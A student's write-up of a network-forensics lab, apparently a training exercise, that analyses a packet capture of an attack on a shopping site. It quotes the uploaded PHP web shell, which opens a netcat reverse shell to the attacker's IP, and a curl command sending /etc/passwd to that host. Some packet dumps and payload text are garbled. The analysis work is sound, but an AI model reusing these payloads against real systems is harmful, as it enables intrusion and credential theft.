

Name : Amr Khaled Elgendi  
Group : AMIT - Cyber Security Online 87  
Task : WebStrike Lab

Q1 : Identifying the geographical origin of the attack facilitates the implementation of geo-blocking measures and the analysis of threat intelligence. From which city did the attack originate?

Note: The lab machines do not have internet access. To look up the IP address and complete this step, use an IP geolocation service on your local computer outside the lab environment.

## Tianjin

After taking a look at pcap file, There are only 2 IP addresses were captured. Which 117.11.88.124 is the client (attacker) and 24.49.63.79 is a web server

http.request.method == GET					
No.	Time	Source	Destination	Protocol	Length Info
43	18.514912	117.11.88.124	24.49.63.79	HTTP	449 GET /reviews/ HTTP/1.1
73	57.538074	117.11.88.124	24.49.63.79	HTTP	416 GET /admin/uploads HTTP/1.1
83	63.058836	117.11.88.124	24.49.63.79	HTTP	418 GET /uploads HTTP/1.1
93	69.755241	117.11.88.124	24.49.63.79	HTTP	409 GET /admin/ HTTP/1.1
103	75.201187	117.11.88.124	24.49.63.79	HTTP	418 GET /reviews/uploads HTTP/1.1
107	75.201187	117.11.88.124	24.49.63.79	HTTP	418 GET /reviews/uploads/image.jpg.php HTTP/1.1
109	75.228143	117.11.88.124	24.49.63.79	HTTP	378 GET /icons/blank.gif HTTP/1.1
114	75.228899	117.11.88.124	24.49.63.79	HTTP	375 GET /icons/back.gif HTTP/1.1
121	75.229211	117.11.88.124	24.49.63.79	HTTP	377 GET /icons/image2.gif HTTP/1.1
136	84.150547	117.11.88.124	24.49.63.79	HTTP	481 GET /reviews/uploads/image.jpg.php HTTP/1.1
326	288.389242	117.11.88.124	24.49.63.79	HTTP	479 GET /reviews/uploads HTTP/1.1
330	288.401169	117.11.88.124	24.49.63.79	HTTP	479 GET /reviews/ HTTP/1.1
335	288.401559	117.11.88.124	24.49.63.79	HTTP	426 GET /icons/back.gif HTTP/1.1
340	288.401886	117.11.88.124	24.49.63.79	HTTP	428 GET /icons/image2.gif HTTP/1.1
<b>Frame 4: 483 bytes on wire (3248 bits), 483 bytes captured (3248 bits) [length = 483]</b>					
	00:00:00 08:0c:91 61 97 cd 00 56 c6 90 00 08 88 00 45 00				. .a P V . . E
	00:10 01 85 10 fb 40 00 3f 06 04 71 75 00 58 7c 18 31				. .@ ? . qu X   1
	00:20 3f 4f ab 08 50 84 77 ef 27 f3 15 98 4c 80 18				70 H P w . . L
	00:30 01 f6 e5 03 00 00 01 01 08 0a 26 5f f5 bf 14 cf				..... & .....
	00:40 66 d4 45 54 20 20 48 54 54 50 2f 31 2e 31				fjGET / HTTP/1.1
	00:50 0d 0a 0f 46 f3 73 74 20 73 68 6f 70 6f 72 6f 6d				.Host: shoprom

Q2 : Knowing the attacker's User-Agent assists in creating robust filtering rules. What's the attacker's Full User-Agent?  
Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

```
[Window size scaling factor: 128]
Checksum: 0x05e3 [unverified]
[Checksum Status: Unverified]

No. Time          [http.request.method]
  1  4.000000000  GET / HTTP/1.1
  2  8.037487    Options (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
  3  11.435305   [Timestamps]
  4  14.458038   [SEQ/ACK analysis]
  5  14.458504   TCP payload (337 bytes)
  6  14.458504   HyperText Transfer Protocol
  7  14.458504   > GET / HTTP/1.1
  8  14.458504   Host: shoporama.com\r\n
  9  14.458504   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:189.0) Gecko/20180101 Firefox/115.0\r\n
 10  14.458504   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
 11  14.458504   Accept-Language: en-US;q=0.5\r\n
 12  14.458504   Accept-Encoding: gzip, deflate\r\n
 13  14.458504   Connection: keep-alive\r\n
 14  14.458504   Upgrade-Insecure-Requests: 1\r\n
 15  14.458504   \r\n
 16  14.458504   [Full request URL: http://shoporama.com/]

Frame 4: 409 bytes on wire (327 bits), 409 bytes captured (327 bits) on interface 
Ethernet II, Src: Internet Protocol Version 4 (00:0c:29:00:00:00), Dst: All Subnets (01:00:5e:00:00:00)
[Internet Protocol Version 4] Length: 409 (327 bytes on wire, 327 bytes captured)
[Transmission Control] Length: 409 (327 bytes on wire, 327 bytes captured)
[HyperText Transfer] Length: 409 (327 bytes on wire, 327 bytes captured)
```

Q3 :We need to determine if any vulnerabilities were exploited. What is the name of the malicious web shell that was successfully uploaded? image.jpg.php

```

POST /reviews/upload.php HTTP/1.1
Host: shoporama.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----26176590812480906864292095114
Content-Length: 687
Origin: http://shoporama.com
Connection: keep-alive
Referer: http://shoporama.com/reviews/
Upgrade-Insecure-Requests: 1

-----26176590812480906864292095114
Content-Disposition: form-data; name="name"
asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="email"
asd@asd.com
-----26176590812480906864292095114
Content-Disposition: form-data; name="review"
asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"
Content-Type: application/x-php

</php> system ("m /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>
HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:44:19 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 10
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"
Content-Type: application/x-php

File uploaded successfully
    
```

Q4 : Identifying the directory where uploaded files are stored is crucial for locating the vulnerable page and removing any malicious files. Which directory is used by the website to store the uploaded files?

Reviews/uploads

No.	Time
53	26.922481
63	49.758143
267	191.372660

**Wireshark - Packet 53 - WebStrike.pcap**

```

Frame 53: 1304 bytes on wire (10432 bits), 1304 bytes captured (10432 bits)
Ethernet II, Src: VMware_c0:00:09 (00:50:56:c0:00:09), Dst: VMware_61:97:cd (00:0c:29:61:97:cd) [Frame is marked: False]
Internet Protocol Version 4, Src: 117.11.88.124, Dst: 24.49.63.79
Transmission Control Protocol, Src Port: 48796, Dst Port: 80, Seq: 1, Ack: 1, Len: 1304
Hypertext Transfer Protocol
  POST /reviews/upload.php HTTP/1.1\r\n
    [Expert Info (Chat/Sequence): POST /reviews/upload.php HTTP/1.1\r\n]
    [POST /reviews/upload.php HTTP/1.1\r\n]
    [Severity level: Chat]
    [Group: Sequence]
    Request Method: POST
    Request URI: /reviews/upload.php
    Request Version: HTTP/1.1
    Host: shoporama.com\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: multipart/form-data; boundary=-----24070;
0040 cf 94 50 4f 53 54 20 2f 72 65 76 69 65 77 73 2f · POST / reviews/
0050 75 70 6e 6f 61 64 2e 70 68 70 20 48 54 54 50 2f upload.php HTTP/
0060 31 2e 31 0d 0a 48 6f 73 74 3a 20 73 68 6f 70 6f 1.1 · Host: shopo
0070 72 6f 6d 61 2e 63 6f 6d 0d 0a 55 73 65 72 2d 41 romा.сом · User-A
0080 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e gent: Mozilla/5.
0090 30 20 28 58 31 31 3b 20 4c 69 6e 75 78 20 78 38 0 (X11; Linux x
    
```

Q5 : Which port, opened on the attacker's machine, was targeted by the malicious web shell for establishing unauthorized outbound communication?

8080

Q6 : Recognizing the significance of compromised data helps prioritize incident response actions. Which file was the attacker attempting to exfiltrate?

passwd

```
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/:
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sssd:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
$ curl -X POST -d /etc/passwd http://117.11.88.124:443/
% Total    % Received % Xferd  Average Speed   Time     Time      Time  Current
          Dload  Upload   Total   Spent    Left  Speed
```

\